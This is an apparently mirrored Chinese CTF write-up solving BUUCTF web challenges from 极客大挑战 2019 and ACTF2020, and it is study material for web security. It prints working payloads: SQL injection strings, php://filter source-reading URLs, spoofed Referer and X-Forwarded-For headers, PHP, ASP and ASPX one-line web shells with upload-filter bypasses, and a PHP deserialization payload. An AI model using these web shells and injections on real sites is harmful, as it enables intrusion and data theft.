3

Buu[极客大挑战 2019]

 1 year ago
source link: https://bvxie.github.io/2022/07/23/Buu%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019%5D/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Buu[极客大挑战 2019]

[极客大挑战 2019]EasySQL

由题目可得做题方向

永真表达式

admin' or '1'='1
在这里插入图片描述
在这里插入图片描述

注意:只需要密码维持此式即可解出

使用万能账号

也需判断,和永真表达式有什么区别的话,在页面进行输入的时候一个是要求用户名输入,一个是密码。(get与post时请输入全)

a' or true # 

1’ or 1=1 #

密码随便输入即可

在这里插入图片描述
在这里插入图片描述

这里找到的表

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

🤔现在我们开始倒推(为什么是倒推,我看其他师傅的wp做出来的),为啥要用单引号进行输入,我们使用get方式(方便)进行判断!

如','),'')等

首先随便输入用户和密码,使url为图下模式

在这里插入图片描述
在这里插入图片描述

在用户名或密码处输入单引号界面异常,存在sql注入

在这里插入图片描述
在这里插入图片描述

即可通过改变url后得到flag(get)

username=admin' or '1'='1&password=admin' or '1'='1

[极客大挑战 2019]Havefun

打开源码检查,有一部分php注释,应该有用

在这里插入图片描述
在这里插入图片描述
get传入?cat=dog
在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]Secret File

通过查看源码我们可得/Archive_room.php

在这里插入图片描述
在这里插入图片描述

若直接点击,可得

在这里插入图片描述
在这里插入图片描述

通过源代码可得/action.php

在这里插入图片描述
在这里插入图片描述

使用软件抓个包

在这里插入图片描述
在这里插入图片描述

发现有个注释secr3t.php,get入url,

在这里插入图片描述
在这里插入图片描述

根据提示

在这里插入图片描述
在这里插入图片描述

嗯…不会了,从题目下手,可得

在这里插入图片描述
在这里插入图片描述

接着观察源代码

在这里插入图片描述
在这里插入图片描述

GET一个file参数过去,但是不能含有…/、tp、input、data,包括这些的大小写
现在需了解一个新概念:php://伪协议,找到个学长博客
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php该伪协议读取源代码并进行base64编码输出
可得

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]Knife

在这里插入图片描述
在这里插入图片描述

可能与菜刀工具有关,软件又又又坏了,装软件去了,win11之后限权增加,用管理员方式打开就好了
添加数据!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

做完题,wp隔了一段时间,才更新,不错,都不记得了。

[极客大挑战 2019]LoveSQL

首先用第一题的方法,都不对!找了个博客

[极客大挑战 2019]Http

首页没思路,找源代码

在这里插入图片描述
在这里插入图片描述

可点,点击后存在提示,它需要我们从https://Sycsecret.buuoj.cn来访问它
所以要进行伪造来绕过了

referer:https://Sycsecret.buuoj.cn
在这里插入图片描述
在这里插入图片描述

它说要用Syclover browser,则修改User-Agent为Syclover browser

在这里插入图片描述
在这里插入图片描述

本地ip链接,X-Forwarded-For:127.0.0.1(一致)
注意:不要放最后。

在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]Upload

php的一句话木马:
asp的一句话是: <%eval request (“pass”)%>
aspx的一句话是: <%@ Page Language=”Jscript”%> <%eval(Request.Item[“pass”],”unsafe”);%>
这个题GIF的文件头绕过图片判断,GIF89a
顺手补了一下一句话木马的原理

在这里插入图片描述
在这里插入图片描述

嗯,,,,,,印象一般般,看题,借鉴文章

随意上传一个,首先得到提示,不是图像

在这里插入图片描述
在这里插入图片描述

这里是phtml格式的,对.phtml文件的解释: 是一个嵌入了PHP脚本的html 页面。

GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,
GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>

抓包,修改后缀,试到phtml可以(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)
放包后可得提示

在这里插入图片描述
在这里插入图片描述

图片的保存路径了,一般都是/upload查找含有的文件,访问,

在这里插入图片描述
在这里插入图片描述

找到上传文件名,打开即可

在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]PHP 1

不得不说,这个猫猫挺可爱的!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

进网址,把压缩包下载下来

在这里插入图片描述
在这里插入图片描述

flag.php中出现一个伪造flag
index.php,显示包含class.php文件,并且反序列化

在这里插入图片描述
在这里插入图片描述
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>
__wakeup() //将在反序列化之后立即调用
__construct() //当对象被创建即new之前,会触发进行初始化,但在unserialize()时是不会自动调用的。
__destruct()//与__construct()相对应的函数——析构函数。析构函数的作用和构造函数正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。

还不太会写,我到网上看了几个

<?php
class Name{
private $username = 'admin';
private $password = '100';
}

echo serialize(new Name());
?>
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

这个有些许问题,下周出一个反序列对比专题,

在这里插入图片描述
在这里插入图片描述

Nameusername与前面的14不对应,少了两个字符,而Namepassword也是少了两个字符,username和password变量是private类型,变量中的类名前后会有空白符,而复制易丢失,所以还需要加上%00,同时要绕过_wakeup(),还要将Name后面的数字修改为大于2的数。

?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]BuyFlag

在这里插入图片描述
在这里插入图片描述

查看网页源代码

在这里插入图片描述
在这里插入图片描述
is_numeric(),判断输入是否是数字的

利用php的弱类型比较,用404a或者404%20均可,不会被认为是数字

在这里插入图片描述
在这里插入图片描述

他说我没钱

在这里插入图片描述
在这里插入图片描述

又嫌弃钱太长,尝试科学表达式money=1e10

在这里插入图片描述
在这里插入图片描述

在网上看到还可以money[]=4,原理忘记保存了,密码post,个人习惯认为插件更方便,注意:Cookie中的user表示身份,

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

POST更改不成功!
[极客大挑战 2019]这个专题到此结束其余两个题太难,还有sql几个打算放一起整一个SQL专栏。

[ACTF2020 新生赛]Include

图片来自参考文章文章2
用php伪协议进行读取flag.php文件,base64编码的方式读文件flag.php

在这里插入图片描述
在这里插入图片描述

64解码!

在这里插入图片描述
在这里插入图片描述

补充!

<?php
readfile("php://filter/read=convert.base64-encode/resource=example.etc");
readfile("php://filter/read=string.toupper/resource=example.etc");
readfile("php://filter/read=string.toupper|string.rot13/resource=example.etc");
?>
在这里插入图片描述
在这里插入图片描述

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK